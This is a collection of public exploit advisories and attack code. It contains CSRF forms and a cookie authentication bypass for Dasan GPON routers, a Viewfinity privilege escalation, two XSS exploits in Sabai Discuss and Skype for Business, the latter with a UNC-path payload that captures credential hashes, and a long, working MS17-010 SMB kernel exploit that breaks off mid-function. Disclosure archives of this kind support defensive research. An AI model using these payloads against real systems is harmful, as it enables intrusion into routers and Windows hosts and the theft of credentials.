Internet.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain, if not all actions
with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5422
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5422.php


19.05.2017

--


Enable telnet access (disable telnet blocking):
Enable web access (disable web blocking):
-----------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1:8080/cgi-bin/remote_mgmt_action.cgi" method="POST">
      <input type="hidden" name="rdoIPhost2TelnetBlocking" value="0" />
      <input type="hidden" name="rdoIPhost2WebBlocking" value="0" />
      <input type="hidden" name="waiting&#95;action" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



Increase session timeout (0: disable, min: 1, max: 60):
-------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1:8080/cgi-bin/websetting_action.cgi" method="POST">
      <input type="hidden" name="sessionTimeout" value="60" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The vulnerable device does not properly perform authentication
and authorization, allowing it to be bypassed through cookie manipulation.
Setting the Cookie 'Grant' with value 1 (user) or 2 (admin) will
bypass security controls in place enabling the attacker to take full
control of the device management interface.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5421
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5421.php


19.05.2017

--


GET /cgi-bin/sysinfo.cgi HTTP/1.1
Host: 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Bond-James-Bond/007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: Grant=1; Language=english; silverheader=3c
Connection: close
            
# Exploit Title: Privilege Escalation via CyberArk Viewfinity <= 5.5 (5.5.10.95)
# Date: Found June 2017
# Vendor Homepage: https://www.cyberark.com/ 
# Version: Viewfinity version 5.5 (5.5.10.95)
# Exploit Author: Eric Guillen aka geoda
# Contact: https://twitter.com/ericsguillen
# Website: https://geodasecurity.blogspot.com/
# Tested on: Windows 7 and Windows 10
# CVE: CVE-2017-11197
# Category: Privilege Escalation

1. Description

Viewfinity allows the business to "effectively minimize local administrator privileges and control applications on endpoints and servers"

This vulnerability allows a low privilege user to escalate to an administrative user via a bug within the Viewfinity "add printer" option.

2. Proof of Concept

First, verify you are a low privilege user by running the command "net session" in a CMD prompt. Net session displays information about all sessions with the local computer. The user will get Access is denied if they do not have Administrative privileges. 

1. On the system tray, right click on Viewfinity and "Open Viewfinity Control Panel..."
2. Click "Add Printer"
3. Click "Add a network, wireless or Bluetooth printer"
4. Click "The printer that I want isn't listed"
5. Click "Select a shared printer by name"
6. Click the "Browse..." icon
7. Directly in the browser window, search for "C:\windows\system32\cmd.exe" and press <Enter>
8. This will spawn a new CMD prompt. Verify you are now Administrator by typing in "net session"

3. Solution

Vendor has been notified of this vulnerability and has been addressed in the agent v6.1.1.220. Although untested, this vulnerability could be present prior to v6.1.1.220
            
# Exploit Title: Sabai Discuss Wordpress Plugin Stored XSS vulnerability
# Exploit Author: Hesam Bazvand
# Contact: https://www.facebook.com/hesam.king73
# Software demo : https://sabaidiscuss.com/
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : User Your Mind ! :D
# Video Demo : https://youtu.be/QETN6cvBMoM
# Email : Black.king066@gmail.com
# Special thanks to Mr alireza ajami
 
1- Create new question 
	http://localhost/wordpress/questions/ask

2- Insert XSS Code in Title Field

3- Enjoy it!
            
# Exploit Title:  Skype for Business 2016 XSS Injection - CVE-2017-8550
#
# Exploit Author: @nyxgeek - TrustedSec
# Date: 2017-04-10 
# Vendor Homepage: www.microsoft.com
# Versions: 16.0.7830.1018 32-bit & 16.0.7927.1020 64-bit or lower
#
#
# Requirements: Originating machine needs Lync 2013 SDK installed as well as a user logged 
# into the Skype for Business client locally
#
#
# Description:
#
# XSS injection is possible via the Lync 2013 SDK and PowerShell. No user-interaction is 
# required for the XSS to execute on the target machine. It will run regardless of whether 
# or not they accept the message. The target only needs to be online.
#
# Additionally, by forcing a browse to a UNC path via the file URI it is possible to
# capture hashed user credentials for the current user.
# Example: 
# <script>document.location.replace=('file:\\\\server.ip.address\\test.txt');</script>
#
#
# Shoutout to @kfosaaen for providing the base PowerShell code that I recycled
#
#
# Timeline of Disclosure
# ----------------------
# 4/24/2017 Submitted to Microsoft
# 5/09/2017 Received confirmation that they were able to reproduce
# 6/14/2017 Fixed by Microsoft




#target user
$target = "username@domain.com"

# For this example we will force the user to navigate to a page of our choosing (autopwn?)
# Skype uses the default browser for this.

$message = "PoC Skype for Business 2016 XSS Injection<script>document.location.href=('http://www.youtube.com/watch?v=9Rnr70wCQSA')</script>"




if (-not (Get-Module -Name Microsoft.Lync.Model)) 
{
    try 
        {
	    # you may need to change the location of this DLL
            Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
        }
    catch 
        {
            Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
        }
}

 # Connect to the local Skype process
    try
    {
        $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
    }
    catch
    {
        Write-Host "`nMust be signed-in to Skype"
        break
    }

     #Start Conversation 
    $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"

    #Add the Message
    $msg.Add(1,$message)

    # Add the contact URI
    try 
    {
        $contact = $client.ContactManager.GetContactByUri($target) 
    }
    catch
    {
        Write-Host "`nFailed to lookup Contact"$target
        break
    }


    # Create a conversation
    $convo = $client.ConversationManager.AddConversation()
    $convo.AddParticipant($contact) | Out-Null

    # Set the message mode as IM
    $imModality = $convo.Modalities[1]
    # Send the message
    $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
    # End the Convo to suppress the UI
    $convo.End() | Out-Null

    Write-Host "Sent the following message to "$target":`n"$message
            
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

EDB Note: mysmb.py can be found here ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42315.py

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = ''
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.

For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''

'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
	DWORD xx1; // second WORD is size
	DWORD refCnt;
	PACCESS_TOKEN Token;  // 0x08
	DWORD xx2;
	BOOLEAN CopyOnOpen; // 0x14
	BOOLEAN EffectiveOnly;
	WORD xx3;
	DWORD ImpersonationLevel; // 0x18
	DWORD xx4;
	BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
	DWORD xx1; // second WORD is size
	DWORD refCnt;
	QWORD xx2;
	QWORD xx3;
	PACCESS_TOKEN Token;  // 0x18
	DWORD xx4;
	BOOLEAN CopyOnOpen; // 0x24
	BOOLEAN EffectiveOnly;
	WORD xx3;
	DWORD ImpersonationLevel; // 0x28
	DWORD xx4;
	BOOLEAN UsePsImpersonateClient; // 0x30
}

SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
  ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
	'SESSION_SECCTX_OFFSET': 0xa0,
	'SESSION_ISNULL_OFFSET': 0xba,
	'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
	'SECCTX_SIZE': 0x28,
}

WIN7_32_SESSION_INFO = {
	'SESSION_SECCTX_OFFSET': 0x80,
	'SESSION_ISNULL_OFFSET': 0x96,
	'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
	'SECCTX_SIZE': 0x1c,
}

# win8+ info
WIN8_64_SESSION_INFO = {
	'SESSION_SECCTX_OFFSET': 0xb0,
	'SESSION_ISNULL_OFFSET': 0xca,
	'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
	'SECCTX_SIZE': 0x38,
}

WIN8_32_SESSION_INFO = {
	'SESSION_SECCTX_OFFSET': 0x88,
	'SESSION_ISNULL_OFFSET': 0x9e,
	'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
	'SECCTX_SIZE': 0x24,
}

# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
	'SESSION_ISNULL_OFFSET': 0xba,
	'SESSION_SECCTX_OFFSET': 0xa0,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
	'SECCTX_PCTXTHANDLE_OFFSET': 0x10,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
	'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

WIN2K3_32_SESSION_INFO = {
	'SESSION_ISNULL_OFFSET': 0x96,
	'SESSION_SECCTX_OFFSET': 0x80,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
	'SECCTX_PCTXTHANDLE_OFFSET': 0xc,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

# win xp
WINXP_32_SESSION_INFO = {
	'SESSION_ISNULL_OFFSET': 0x94,
	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

WIN2K_32_SESSION_INFO = {
	'SESSION_ISNULL_OFFSET': 0x94,
	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
	'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}

###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
	'TRANS_SIZE' : 0xa0,  # struct size
	'TRANS_FLINK_OFFSET' : 0x18,
	'TRANS_INPARAM_OFFSET' : 0x40,
	'TRANS_OUTPARAM_OFFSET' : 0x44,
	'TRANS_INDATA_OFFSET' : 0x48,
	'TRANS_OUTDATA_OFFSET' : 0x4c,
	'TRANS_PARAMCNT_OFFSET' : 0x58,
	'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
	'TRANS_FUNCTION_OFFSET' : 0x72,
	'TRANS_MID_OFFSET' : 0x80,
}

WIN7_64_TRANS_INFO = {
	'TRANS_SIZE' : 0xf8,  # struct size
	'TRANS_FLINK_OFFSET' : 0x28,
	'TRANS_INPARAM_OFFSET' : 0x70,
	'TRANS_OUTPARAM_OFFSET' : 0x78,
	'TRANS_INDATA_OFFSET' : 0x80,
	'TRANS_OUTDATA_OFFSET' : 0x88,
	'TRANS_PARAMCNT_OFFSET' : 0x98,
	'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
	'TRANS_FUNCTION_OFFSET' : 0xb2,
	'TRANS_MID_OFFSET' : 0xc0,
}

WIN5_32_TRANS_INFO = {
	'TRANS_SIZE' : 0x98,  # struct size
	'TRANS_FLINK_OFFSET' : 0x18,
	'TRANS_INPARAM_OFFSET' : 0x3c,
	'TRANS_OUTPARAM_OFFSET' : 0x40,
	'TRANS_INDATA_OFFSET' : 0x44,
	'TRANS_OUTDATA_OFFSET' : 0x48,
	'TRANS_PARAMCNT_OFFSET' : 0x54,
	'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
	'TRANS_FUNCTION_OFFSET' : 0x6e,
	'TRANS_PID_OFFSET' : 0x78,
	'TRANS_MID_OFFSET' : 0x7c,
}

WIN5_64_TRANS_INFO = {
	'TRANS_SIZE' : 0xe0,  # struct size
	'TRANS_FLINK_OFFSET' : 0x28,
	'TRANS_INPARAM_OFFSET' : 0x68,
	'TRANS_OUTPARAM_OFFSET' : 0x70,
	'TRANS_INDATA_OFFSET' : 0x78,
	'TRANS_OUTDATA_OFFSET' : 0x80,
	'TRANS_PARAMCNT_OFFSET' : 0x90,
	'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
	'TRANS_FUNCTION_OFFSET' : 0xaa,
	'TRANS_PID_OFFSET' : 0xb4,
	'TRANS_MID_OFFSET' : 0xb8,
}

X86_INFO = {
	'ARCH' : 'x86',
	'PTR_SIZE' : 4,
	'PTR_FMT' : 'I',
	'FRAG_TAG_OFFSET' : 12,
	'POOL_ALIGN' : 8,
	'SRV_BUFHDR_SIZE' : 8,
}

X64_INFO = {
	'ARCH' : 'x64',
	'PTR_SIZE' : 8,
	'PTR_FMT' : 'Q',
	'FRAG_TAG_OFFSET' : 0x14,
	'POOL_ALIGN' : 0x10,
	'SRV_BUFHDR_SIZE' : 0x10,
}

def merge_dicts(*dict_args):
	result = {}
	for dictionary in dict_args:
		result.update(dictionary)
	return result

OS_ARCH_INFO = {
	# for Windows Vista, 2008, 7 and 2008 R2
	'WIN7': {
		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
	},
	# for Windows 8 and later
	'WIN8': {
		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
	},
	'WINXP': {
		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
	},
	'WIN2K3': {
		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
	},
	'WIN2K': {
		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
	},
}


TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8  # heap chunk header size


def calc_alloc_size(size, align_size):
	return (size + align_size - 1) & ~(align_size-1)

def wait_for_request_processed(conn):
	#time.sleep(0.05)
	# send echo is faster than sleep(0.05) when connection is very good
	conn.send_echo('a')

def find_named_pipe(conn):
	pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
	
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
	found_pipe = None
	for pipe in pipes:
		try:
			fid = conn.nt_create_andx(tid, pipe)
			conn.close(tid, fid)
			found_pipe = pipe
		except smb.SessionError as e:
			pass
	
	conn.disconnect_tree(tid)
	return found_pipe


special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
	global extra_last_mid, special_mid
	special_mid = (conn.next_mid() & 0xff00) - 0x100
	extra_last_mid = special_mid
	
def next_extra_mid():
	global extra_last_mid
	extra_last_mid += 1
	return extra_last_mid


# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010

def leak_frag_size(conn, tid, fid):
	# this method can be used on Windows Vista/2008 and later
	# leak "Frag" pool size and determine target architecture
	info = {}
	
	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
	# From the leak info, we can determine the target architecture too.
	mid = conn.next_mid()
	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
	
	conn.send_raw(req1[:-8])
	conn.send_raw(req1[-8:]+req2)
	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
	leakData = leakData[0x10d4:]  # skip parameters and its own input
	# Detect target architecture and calculate frag pool size
	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		print('Target is 32 bit')
		info['arch'] = 'x86'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		print('Target is 64 bit')
		info['arch'] = 'x64'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
	else:
		print('Not found Frag pool tag in leak data')
		sys.exit()
	
	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
	return info


def read_data(conn, info, read_addr, read_size):
	fmt = info['PTR_FMT']
	# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
	# modify trans2.*ParameterCount and trans2.*DataCount to limit data
	new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
	new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
	new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
	
	# create one more transaction before leaking data
	# - next transaction can be used for arbitrary read/write after the current trans2 is done
	# - next transaction address is from TransactionListEntry.Flink value
	conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)

	# finish the trans2 to leak
	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
	
	# set new trans2 address
	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
	
	# set trans1.InData to &trans2
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
	wait_for_request_processed(conn)

	# modify trans2 mid
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
	wait_for_request_processed(conn)
	
	return read_data[8:]  # no need to return parameter

def write_data(conn, info, write_addr, write_data):
	# trans2.InData
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
	wait_for_request_processed(conn)
	
	# write data
	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
	wait_for_request_processed(conn)


def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
	trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
	# fill large pagedpool holes (maybe no need)
	for i in range(numFill):
		conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)

	mid_ntrename = conn.next_mid()
	# first GROOM, for leaking next BRIDE transaction
	req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
	req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
	# second GROOM, for controlling next BRIDE transaction
	req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
	# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
	reqs = []
	for i in range(12):
		mid = next_extra_mid()
		reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))

	conn.send_raw(req1[:-8])
	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
	
	# expected transactions alignment ("Frag" pool is not shown)
	#
	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
	#    +-------------------------------+----------------+-------------------------------+----------------+
	#    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
	#    +-------------------------------+----------------+-------------------------------+----------------+
	#
	# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
	# From leaked transaction, we get
	# - leaked transaction address from InParameter or InData
	# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
	# With these information, we can verify the transaction aligment from displacement.

	leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
	leakData = leakData[0x10d4:]  # skip parameters and its own input
	#open('leak.dat', 'wb').write(leakData)

	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
		print('Not found Frag pool tag in leak data')
		return None
	
	# ================================
	# verify leak data
	# ================================
	leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
	# check pool tag and size value in buffer header
	expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
	leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
	if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
		print('No transaction struct in leak data')
		return None

	leakTrans = leakData[leakTransOffset:]

	ptrf = info['PTR_FMT']
	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
	inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
	leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

	print('CONNECTION: 0x{:x}'.format(connection_addr))
	print('SESSION: 0x{:x}'.format(session_addr))
	print('FLINK: 0x{:x}'.format(flink_value))
	print('InParam: 0x{:x}'.format(inparam_value))
	print('MID: 0x{:x}'.format(leak_mid))

	next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
	if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
		print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
		return None
	# trans1: leak transaction
	# trans2: next transaction
	return {
		'connection': connection_addr,
		'session': session_addr,
		'next_page_addr': next_page_addr,
		'trans1_mid': leak_mid,
		'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
		'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
	}

def exploit_matched_pairs(conn, pipe_name, info):
	# for Windows 7/2008 R2 and later
	
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
	conn.set_default_tid(tid)
	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
	fid = conn.nt_create_andx(tid, pipe_name)
	
	info.update(leak_frag_size(conn, tid, fid))
	# add os and arch specific exploit info
	info.update(OS_ARCH_INFO[info['os']][info['arch']])
	
	# groom: srv buffer header
	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
	# groom paramters and data is alignment by 8 because it is NT_TRANS
	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)

	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
	# bride paramters and data is alignment by 4 because it is TRANS
	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
	
	# ================================
	# try align pagedpool and leak info until satisfy
	# ================================
	leakInfo = None
	# max attempt: 10
	for i in range(10):
		reset_extra_mid(conn)
		leakInfo = align_transaction_and_leak(conn, tid, fid, info)
		if leakInfo is not None:
			break
		print('leak failed... try again')
		conn.close(tid, fid)
		conn.disconnect_tree(tid)
		
		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
		conn.set_default_tid(tid)
		fid = conn.nt_create_andx(tid, pipe_name)

	if leakInfo is None:
		return False
	
	info['fid'] = fid
	info.update(leakInfo)

	# ================================
	# shift transGroom.Indata ptr with SmbWriteAndX
	# ================================
	shift_indata_byte = 0x200
	conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)

	# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
	#       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
	# maxParameterCount (0x1000), trans name (4), param (4)
	indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
	indata_next_trans_displacement = info['trans2_addr'] - indata_value
